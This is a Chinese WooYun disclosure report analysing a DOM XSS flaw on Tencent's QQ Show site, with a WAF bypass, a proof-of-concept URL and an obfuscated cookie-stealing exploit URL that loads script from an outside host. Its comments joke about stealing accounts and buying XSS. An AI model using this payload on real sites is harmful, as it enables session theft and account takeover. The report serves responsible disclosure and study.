当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088348

漏洞标题:QQ某业务主站DOMXSS挖掘与分析(绕过WAF)

相关厂商:腾讯

漏洞作者: phith0n

提交时间:2014-12-24 11:56

修复时间:2015-02-07 11:58

公开时间:2015-02-07 11:58

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-24: 厂商已经确认,细节仅向厂商公开
2015-01-03: 细节向核心白帽子及相关领域专家公开
2015-01-13: 细节向普通白帽子公开
2015-01-23: 细节向实习白帽子公开
2015-02-07: 细节向公众公开

简要描述:

可盗取skey与uin,直接登录QQ空间,全浏览器通用不会被拦截。
贵在挖掘与分析过程。

详细说明:

可盗取skey与uin,全浏览器通用不会被拦截。贵在挖掘与分析过程。
挖掘flashxss的时候偶然发现的,反编译的时候发现这样的URL:

QQ秀DOM XSS挖掘与分析97.png


Show.qq.com,属于QQ秀主站业务。
来到show.html,看到如下代码:

var aNUrl= { "M":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html", "T":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html", "L":"http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html" };
var sUrl = QSFL.excore.getURLParam("MUrl").replace(/http:\/\/show.qq.com/,"http://imgcache.qq.com/qqshow_v3/htdocs");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["M"]=Rel2Abs(sUrl));
var sUrl = QSFL.excore.getURLParam("LUrl");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["L"]=Rel2Abs(sUrl));
var sUrl = QSFL.excore.getURLParam("TUrl");
(sUrl && CheckUrlCredit4Frames(sUrl)) && (aNUrl["T"]=Rel2Abs(sUrl));
...
...
var uPrm = window.location.href.split("?"); // 从location.href中获得uPrm
var _Prm = new QSFL.excore.param(uPrm[1] || "", "&", "="); // 获得GET参数
for (var xName in _Prm)
{
if (typeof(_Prm[xName])=="string" && xName!="MUrl" && xName!="LUrl" && xName!="TUrl") // xName是键,_Prm[xName]是值
{
aNUrl["M"] = QSFL.excore.setURLParam(aNUrl["M"], xName, _Prm[xName]);
aNUrl["L"] = QSFL.excore.setURLParam(aNUrl["L"], xName, _Prm[xName]);
aNUrl["T"] = QSFL.excore.setURLParam(aNUrl["T"], xName, _Prm[xName]);
}
...
...
QSFL.$("headerFrame").src = aNUrl["T"];
QSFL.$("sideFrame").src = aNUrl["L"];
QSFL.$("mainFrame").src = aNUrl["M"];


上面这三句,很明显是可能会存在xss的。QSFL.$("headerFrame")是一个iframe对象,它的src属性可以为javascript协议,也就是:<iframe src=javascript:alert(1)>。所以只要能控制aNUrl["T"];的前部分,就能造成一个无需交互的DOM XSS。
要控制aNUrl["T"],看看之前QSFL.excore.setURLParam函数。QSFL.excore.setURLParam的第一个参数是预置的http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html、http://imgcache.qq.com/qqshow_v3/htdocs/inc/header.html或http://imgcache.qq.com/qqshow_v3/htdocs/inc/sidebar.html,第二、三个参数是GET的键和值。
进入QSFL.excore.setURLParam看看。

QSFL.excore.setURLParam = function(sUrl, sName, sValue) 
{
sUrl = sUrl.toString();
sName = sName.toString();
sValue = sValue.toString().escUrl();
var r = new RegExp("(^|\\W)" + sName + "=[^&]*", "g");
var vUrl = sUrl.split("#");
vUrl[0] = (vUrl[0].match(r)) ? vUrl[0].replace(r, "$1" + sName + "=" + sValue) : vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "="
+ sValue;
return vUrl.join("#");
};


我们先缕缕思路,这个函数的三个参数,sUrl是我们不能控制的,但sName、sValue都是可以控制的,但其中不能包含&、=。
我们看到主要部分是一个?:选择符。如果能执行vUrl[0].replace(r, "$1" + sName + "=" + sValue),因为sName我们可以控制,所以就能控制url的前半部分;如果执行的是vUrl[0] + (vUrl[0].indexOf("?") == -1 ? "?" : "&") + sName + "=" + sValue;,vUrl[0]就是sUrl,我们不能控制前半部分,所以不行。
所以看看怎样让这个三目运算符执行第一个。看到这个正则:RegExp("(^|\\W)" + sName + "=[^&]*", "g");。将sName放入正则表达式了。
只要让vUrl[0]匹配上这个正则就可以了,想想怎么办?
让sName中包含或“|”就可以了,即为“|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|”,则整个正则为“(^|\\W)|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=[^&]*”,肯定是可以匹配上http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html的。
我们再在sName前面加上javascript:alert(1)//,最后返回的URL即为javascript:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1,这样的URL放入iframe的src属性中即可造成一个XSS。
实际上我发现服务器WAF将会过滤一些关键字,比如javascript:、”等,javascript可以用大小写绕过,引号完全可以不需要,我们可以用//.source代替。
给出一个POC:

http://show.qq.com/show.html?javAScripT:alert(1)//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1


可见弹窗:

QQ秀DOM XSS挖掘与分析3380.png


写一个盗取cookie的EXP:

http://show.qq.com/show.html?javAScripT:eval(atob(/ZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPWh0dHA6Ly94NTUubWh6LnB3L0hZYkJ3VT48L3NjcmlwdD4nKTs/.source))//|http://imgcache.qq.com/qqshow_v3/htdocs/inc/main.html|=1


这个能在chrome下运行。
经测试可以盗取skey、uin,有这两个就可以登他人空间,干很多邪恶的事情,嘿嘿。

漏洞证明:

QQ秀DOM XSS挖掘与分析3380.png


QQ秀DOM XSS挖掘与分析3883.png

修复方案:

过滤。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-12-24 14:35

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-24 15:02 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    唉,就5个rank,以后拿去盗QQ也比提交了好。

  2. 2014-12-25 20:24 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @phith0n ....

  3. 2014-12-26 12:33 | 落叶 ( 路人 | Rank:1 漏洞数:2 | xxxx)

    大侠 我可以收xss吗- -

  4. 2014-12-31 14:14 | Mr.Lonely ( 路人 | Rank:0 漏洞数:1 | 努力成为一个有用的人。)

    @phith0n 今天刚看了,已经被修复了。不知道为啥还不公布

  5. 2015-01-06 09:44 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @phith0n 上!

  6. 2015-07-22 14:32 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    反射xss,腾讯一般也就给5分